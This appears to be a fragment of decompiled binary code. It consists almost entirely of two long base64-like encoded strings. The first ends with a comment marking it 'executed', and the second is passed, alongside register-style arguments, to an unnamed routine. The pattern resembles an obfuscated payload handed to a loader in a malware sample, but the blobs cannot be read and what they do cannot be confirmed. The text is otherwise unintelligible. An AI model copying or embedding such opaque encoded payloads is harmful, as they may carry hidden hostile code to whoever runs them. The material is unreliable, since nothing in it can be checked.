IfiI3BKbakAUiTC29/9mBpFHccyN3ioC3B6kclfvJWuYom66dZpvZe3MvFvYwTrCgwkfcUzRRMSLzBIzCJ6Z1U+L33tIgwsP5VHYcJEewaqalZe9hwHH1LrAgwsfpUrRRuBK3o5sQp4KPNnYwyhIgwk/QBjAchEezaJSsKhyDCqQpAVZCg89YAPKbzgkxbioX6Zc1wrqlkqZu8wUkh4cUMAmBpFXfv9N3jkA3Aa5SF0dgjMoPs50b1ZjDp6B3qoE3Aakcq1nEDONWcw3hJFfQp8w9OiM3AaFqmF3c8DRXOJG3pRihJ6d+AuRXvtYgyS/O0gpgckZ3/45nOZc1xroN4THu8wUnRZ0UMA3hJFfYCz6zSbnB9CSaM4UnSwgGjKjrdih5e3M/FvY2SrEgxERRRWi8J0e252eZq2vDwHd91uQhj/OmB/6gckH22pDN9W8DwHd6wYZiilGmB3sC8kbzUlaWYUvjwHd9VuQhhSBkRH4Dckb2DdTFbVc1wTzhAOVqM4UgzMZWczlx/oBVKZc1wTJzoqZqkwUnR5d0MA3ipFfQX8DmLiI3AaYqkAUnS7rtSj1BpFfd8aE0hrxJACpeS4PserSYREe1bgr1Ze8DwHS4DAZig4/YV0oQuJG3pxihJ6BzpWR1SrKgxEOraeO8J0e24574UEvDwHd91uQhizMmAHuRR3eJllaQxPTUPkA3AS2YEPvYMDRQtbToxBihJ6ByRUR1TrCgxEeoUjRXMD3ipFfXgLPXioA3Aa72xQRs8LRXuLG3ohfp4fvnDkA3Aaood0ds8DRXONU97ZaB/ME7nCRN1mQhj1OmB3dmys5t8VaWb6byuqzBgOVt+VXY6WiEDKnrdlxBp6B/lXY2S1eZ11/QBjUcpEe27qAXIWvHwHdJxr72BwsQBjUebZX17gAXJuhO+QmNVuQhi0pLu44Dckbz+G9InVc1wTzhAOVmD3smyELcjcFtc6XR/XRGCqC3AiMWD1msRHYUOL23qRTVZevMQH/1QqZmD/wmD3YUMA1hpFLd3aE5AjR1QZr6EwUhzM5WfgX15hBN2GvjwHFx2pBeh0P8ck2UNJ3D3RTR/dVNAjzigOTmH9BdyvdgwAX22hBd8aEwBrzFErWyp0sQBjETxIX16mCXIqCeEjRxyvpifxJ0VHYYSEe45hTVZYlHgjgBAOTjRUtdWGzWfQX15hRT3aE6gjR1Q776xQpkRHYcKEe45hTVadKYfcxuAOtih0dg1RlrzH23qpTVZevI4jR9WuQuB0dkRhtLz/NNpFhVZeNzaqw3DiZih0t+BjqUMAX1vgyXKWN3gjIe/VmanAUoxHYUMgMpVmitJ693gjRyRAZij18mCHYUMAal1hTd3aE7gjR1Trhi398mCHYUMA5+Fd+3Tfs1zjR1QqbCt0ds/LRYMAX16WrJe0NPG3Y5QqZijOxx1Et8K0e55hTVZS534jgNAO9ih0dgVoYUOL23rxTVZeunSjztgO9ih0dsXzRdMAX16vU8ReXPwH11QqZgr98mDXYUMA3tpF3VZeNzqVuKur0gzkdkRHI/OPTNXlacZeN3iow3DqZih0/cBjqUMAX9XlaYZeN3jLldvVmWD9c9N8Y0OJI3pZBdU6E0gjD9dOQgB0PscjRWMAE9WvCGWeBKprzJ/VtmT56mDHYUMAFtU6VR/VRFhqzLd1peS4us0TRVOJE3ppGAUWutQHj6rVmWD1mnxFYUNI1MMBTFZe8DwHZxVTZiizMmBj/G0AX5klaX7BBHgj/4WVZihJMklHYUyE8U1hTWsAaHgjSNCBdCh0SzI4YUMP2wdzTVZj5scjR1uvpDt0dgzKZLuboKEpxNOWN3gjD9kvBCl2dgzOJNNI0lti4ldef/FmvxynY5gmd0QP6AckJ5nkFVdeN0W1R1Sr63B1dkS8njX/1NM5TFZej4nTt6Tdh5C9NFL1oKkG1ss5TFZevPV7RlQqkcm1nEDO9BsBX17g+A5fN3j1l30q7a0sd0RH6MZYXl5hBdtbibIiRxyjIwiz8xxGYUORt15hzNMGNngjkvMqZqnxLkVHYZi6X17gyA5fN3glf1Qq550sd0RHQsACX9XkFVdeN/GmH1UqZmD5c2lZYUNI1hs5BdtbsYciRxyj4yh1dkSA5BsBX15wYlZe9tV7RlQqYanBLkVHYbQ5BA7g+A5fN3jufg967a0sd0RH6MZYXl5hBdtbZFIiRxyjI1Cz8xxGYUM49F5hJtMGNngjJt2vPil0dsXCOUIAXwy8TVbfgiAiR1TE22l0/cEfYEMA1ts5TFZe8P17RlQqTn90ds/COUIAX9NtDd/Tb3kjR9WvPil0dj6lnrzB+gZgTVZSts17RlQqAggLeM/COUIAX9fkFVdeN7+mH1UqZsXHdkTG5BsBX16/r6mhtv17RlQqUtiLicXyOUIAX8XnTVbVsiAiR1Sj43B1dkSA5BsBX162NFZetv17RlQqZCp0dsXyOUIAX+MaTVbVsiAiR1Sj43B1dkQP7EbfNV5hBd/b33gjRxynY8HsibsP6AagmNs5TFZeZlIjR9WvPil0dtniYUOB2gZgTVZhrYfcLNFyZyh0Ls3COUIAX9/UFVdeN2RcY1Sh43B1dkTO5BsBX14pwFMLeHkjD92v9ih0dgzKZHBOXl4pxBO+f/UmC//VmWD98/RHYUNI0lvf1qmhf/Gmx1QqZu/xLkVHYZ/cX17gyA5fN3jVvFQq5a0sd0RHg8K1B19hTYaGNniowgwrZij98xxGYUNI0ltCJFZef/FnYxTt43B1dkRUdEMANNs5TFZeK/GmH1UqZqnBLkVHYTNOXV7qyA5fN3iqwgwrZig8+0GBPUIAF9claQaZsiAiR1RbOCh0t+kfYEMAVt/kFVdeN5CvuKur03B1dkQ07Lz/1Ns5TFZevv17RlQqoa0sd0RHma8AX5/MFVdeN3Ci8gwrZij8dkRH6sZYXl5hxNMGNngjgNFyZyh0oZRHYYKtB19hTVnfuiAiR1R976Ny/ckfYEMA5xtBmhKp1rnJQt2/Pil0dsXyOUIAX7l1Q1bVsiAiR1Sj43B1dkQP7EZjRV5hBd8bHzCuQtTdmdc8/wBjOYSFB19hTU4JN3hIwgwrZih//8EfYEMA3us5TFZeW8YgR9+vPil0ds3COUIAXxbsSM05NnhrzhEiLqVx4r1HYQuJGi4pwFND8IfcD92v/ih0dgzKZEwWX14pxBNe8P17RlQqffZ0doXqOUIAX1ug6A5fN3ghxuFyZyh0qe3uZ8K1B19hTS3snn6owgwrZij98xxGYUNI0lslGVdef/Gmn1QqZu/xLkVHYU/rX16g6A5fN3gmhvlyZyh0eMXKOUIAXyfOpNDfsiAiR1QuyteL9/EfYEMAugWIy93bb3kjR92vPil0dgzKZCspX14pxBJ6X7+mH1UqZqivdkSGxBsBX15mjPMGNngjRD+vPil0dnHO5BsBX17gyA5fN3jCxavV550sd0RH5MHF6tXkFVdeN/GmH1UqZmD5c2vTnrxI1hvZBdtbHyUiRxyjIgxEPslCuSsAXxboyHZfN3hrylGohCl0Ps3CeUIAX5nkFVdeN/+TR1Sr03B1dkQTd+OZNNs5TFZeX/GmH1UqZqnxLkVHYRjNX17g+A5fN3hU1BBD7a0sd0RH6MZYXl5hitMGNngjYoQqZunZLkVHYUmD6gZgTVYOvP17RlQq760sd0RHpsZYXl5hvPheN7mOH1UqZiwf8xxGYUN51ts5TFZets17RlQq9QJxds/COUIAX9fkFVdeNzCuQjsTZig8/8GHYUMAF9NkyBVeNzCqwuwqZiiz8xxGYUNFkF5hjPsGNngjT9WnPil0diqpAtaB6gZgTVbV2Ru2zNFyZyh0/8EfYEMAmNs5TFZevdsjR9WvPil0drNhnryB2gZgTVYw/HgjhvlyZyh0f8fyOUIAX3DqyA5fN3iqwgwrZiiz8xxGYUPjul5hzOMGNngjWWfV8qnxLkVHYShYX17g+A5fN3gvaFS/7a0sd0RH6MZYXl5hBdtb8UIiRxyj4yB1dkQP7EZE419hBd/b13gjRxynY2YddkQP6MYoXl5hitMGNngjzOUqZkPxLkVHYWqJ2gZgTVY1siAiR1Q1760sd0RH6s5YXl5h9Y3fjg7UppXAY6HhLkVHYcK1B19hTVaYO3iowgwrZij98xxGYUNI0lvBCldef/Fmf5OvPil0dnc3YUNr2gZgTVYTvv17RlQq560sd0RHHaX/oN/UFVdeN3xb/8Sr03B1dkT0vNqQ1Ns5TFZevv17RlQqoa0sd0RHAHIAX9/kFVdeNyf5uKur43B1dkR9CUMA3us5TFZeqQsjR9+vPil0ds3COUIAX5nkFVdeN00PR1Sr43B1dkTW40MAnvM5TFZeMbmGH1UqZjj1wxxGYUNkX+VjxtMGNngjztFyZyh0PslCwYEBXxboCAaZsiAiR1SO1yh098EfYEMAw96est3Tb3kjR+wVow03gaWGi0eJygZgTVafmiAiR1Qv5Z0sd0RHA8iFB19hTd/bb3kjRxynYxXJibsP6AaIF9NkV86hyDCqAjTt43B1dkRuNUMA3ts5TFZeu0sjR9WfPil0dpQe/0+B6gZgTVZf6eYvzNFyZyh0/8EfYEMAF9NkbqKhyDCqApxi6y0EFru4KcpFH5nkFVdeN/uBR1Try3B1dkROCsZYXl5het/bb3kjR5WHPil0dkbM7BsBX17Zlh02GI/CbJ77jyu+t61D6M5YXl5hzuMGNngjCt+vPil0ds3COUIAXxbsSNtJNnhrzhHyoa0sd0RHL6EAX5/EFVdeN3KoygwrZijMu4iLrbThnrRkxMMGNngjxtFyZyh06EVHYcK1B19hTTb9IXiowgwrZij98xxGYUNI0ltSW1def/FnYyRi6y1f60VHKcpFn5nkFVdeN66QR1RB43B1dkQ76MZYXl5hxtsGNngj/7WpaRaDl4WtZcqVB19hTT3bb3kjRwOj43B1dkTG7BsBX17FGLyFts17RlQq7/+Orc/COUIAX9fkFVdeN7+mH1UqZumidkSGxBsBX15lzOMGNngjMzgnZqPxLkVHYcqFB19hTZHbb3kjRzPfZii10xxGYUMQ3us5TFZeU3hEst+vPil0ds3COUIAX5nkFVdeN/8dR1RB43B1dkR86MZYXl5hjPMGNngjRdWfPil0dlTjWEOL2gZgTVbXsiAiR1Tt43B1dkQj9EMA1NM5TFZej/EocnPdhwO+p61Eq4LpWdfsFVdeN7mGH1UqZiX1wxxGYUNkX3VhxtMGNngjztFyZyh0scEfYEMA09dhTdfTb3kjR0DsBYkf8xxGYUMP1ts5TFZetv17RlQqeRaLicXyOUIAX3kJlSLVsiAiR1Sj43B1dkSA5BsBX15meFZe9tV7RlQqZanBLkVHYYcGX17qyA5fN3iqwgwrZiiz8xxGYUPxzV5hnPsGNngjxuFyZyh0UlWkUCiFB19hTWXXsiAiR1Sr03B1dkR3+wnw1Ns5TFZevv17RlQqoa0sd0RHFzcAX5/EFVdeN3fi6gwrZihkt+kfYEMAT9/UFVdeN3ELe96r03B1dkQqSX+K1Ns5TFZevv17RlQqoa0sd0RHdGsAX9/kFVdeN62NR1Sr03B1dkTJt0MA1Ns5TFZevv17RlQqoa0sd0RHNrYAX9/kFVdeN39juKur03B1dkTxut+B3ts5TFZeU7/cuNWfPil0dh8iYfqB6gZgTVYt5OQbzNFyZyh0/8EfYEMAF9NkfuBfNzCqAhzt43B1dkQP40MA1NM5TFZej2emrAXdh+mec83SOUIAXzXkFVdeN2uqwgwrZij/+xxGYUO4Ah8t46G/9pImzsFyZyh09/EfYEMAvV5hTd3bb3kjR92vPil0dgzKZNwZX14pxBP2f/Ume5YqZmD9MywP7EZpn19hBd8aEzBrylE/VCh0Ps3CsUMAXxbsSEliN3hrzhGqLqVxEtNGYQuJGq4pwFPTLHgjD92v7ih0dgzKZMhboKEpxNOmN3gjD9kvJ/J1dgzO5LMAX16myA5fN3grMVQqp40sd0RHaMK1B19hTWmSeBKi8gwrZigvquct6sZYXl5hxNMGNngjgNFyZyh0vwFHYYKtB19hTVg1siAiR1Rc760sd0RH4vZYXl5hX93bb3kjR92vPil0doPCOUIAX7jkTVbfuiAiR1QoLlZzHcEfYEMAfNfkFVdeN/mWH1UqZj5SIELM5BsBX17oyA5fN3jkwgwrZigtRURH4MZYXl5h3VReN/OuH1UqZpCFhrS3lqLBtVjo2A5fN3ji6gwrZih5/cEfYEMA0lKhxNsGNngjxOFyZyh0Es/COUIAX9fkFVdeNzCuQndHmdc8/wBjWYSFB19hTaewN3hIwgwrZihY/8EfYEMA3ts5TFZeJbYjR9WfPil0dl6YSEOL2gZgTVbXsiAiR1Tt43B1dkT9V0MA3ts5TFZenNgjR5WHPil0dkfM7BsBX17ZaB/ME4/CbJ77jyu+t61C6M5YXl5hjPsGNngjSNefPil0diDM5BsBX17oyA5fN3hrylF5QSl0Ps0CUYSFB19hTe0RN3iiwgwrZihkMkRH4PZYXl5h4sVeN/OmH1UqZqHxLkVHYQuNWhw+sqkWvj27gNFyZyh0zi5HYYKlB19hTUafmiAiR1Qv56Usd0RHOSU22TXkFVdeNyaqwgwrZij1wxxGYUM0y1jfxtMGNngjztFyZyh0scEfYEMAtHFhTd3Tb3kjR+y35L8ngaWGi0aJygZgTVafmiAiR1Qvp40sd0RHccKFB19hTdVmN3ii8gwrZiiTTkdH6sZYXl5hxNMGNngjgNFyZyh0Mi9HYZKlB19hTdfrb3kjR7KO/Jf/+xxGYUO4hBUJYqG/HLLyrlfgp8Fx/8kfYEMA3us5TFZeIC+vRN+vPil0ds3COUIAX5nkFVdeN1PvR1Sh63B1dkT/XoYlHKmA9clM01HirVGj83B1dkTM7BsBX16WrH2U5pEgjZXDYKH5LkVHYcC1B19hTTHVsiAiR1Sj43B1dkSA5BsBX16qnFZe9tV7RlQqbanxLkVHYQmHX17g+A5fN3gjwFQq7a0sd0RH6MZYXl5hBdtbi08jRxyj44B0dkSA5BsBX15OpFZe9tV7RlQqa6nxLkVHYXmbX17gwA5fN3i+vt4p550sd0RH2LiKXNXkFVdeN/GmH1UqZu/xLkVHYf9OX17gwA5fN3hTI9TR560sd0RH/9X/oN/UFVdeN4Ymx6+h43B1dkTO5BsBX14pwFPF/nkjD91vdu/xLkVHYfOfX16g6A5fN3gtzNlyZyh0zufMT/n3vp+LSd/Lb3kjR5WHPil0dkHG5BsBX15JvKmhts17RlQqh116ds/COUIAX9fkFVdeNzCuQoaWmdc8/wGXpsZYXl5hfjdeN/mmH1UqZohiibss5BsBX14qxNMGNngjLNFyZyh0b83COUIAX9/UFVdeN3W9Xaih43B1dkTO5BsBX14pwFPhJnkjD92vxih0dgzKZHZeX14pxBJ6VzCuQhFXmdc8/wH3psZYXl5hyoleN/mmH1UqZm7NdkTG5BsBX17IYVZe5t17RlQq56Usd0RH8dEZP9/UFVdeN+C5XDSh43B1dkTO5BsBX14pwFOgrofcD92vdil0doPCOUIAXxEbTVbfsiAiR1RWcih09/EfYEMA8NBhTd3bb3kjR92vPil0doPCOUIAX32DTVbfsiAiR1SZhNeL9/EfYEMA7ZphTd3bb3kjR92vPil0doPCOUIAX8yKTVbVuiAiR1SSr2pixLOmoKkF1ss5TFZetv17RlQqWF6LicXyOUIAX2casqnVsiAiR1Sj43B1dkSA5BsBX16WCVZeXP17RlQqbaHxLkVHYcKFB19hTc+vN3ii8gwrZigmnkdH6sZYXl5hxNMGNngjD9kvd2d1dgzOJKvH2gZgTVaZGngjzNlyZyh0zsMmecX3vnWrnL9d/bnKQd2nPil0di/COUIAX3LoyA5fN3iiwgwrZihaYkRH4PZYXl5hO3peN/OmH1UqZqHxLkVHYQuNWj2EsqkWvj07/wp1Ziid8Km4nshLV9XkJVdeNzDchhzrhy39cl3MIkuL0jJgTVYW9pgmhr06AKE4bmDMIksP6NMNTFZef7nDQt1mfgCLNUz/JU4AX7deoKmh8P17RlQq6+F0ds/KOUIAX+a6J6ZCwJkIjezrpui0p61Eq4LpWdfsFVdeN/OuH1UqZt+Vt65B"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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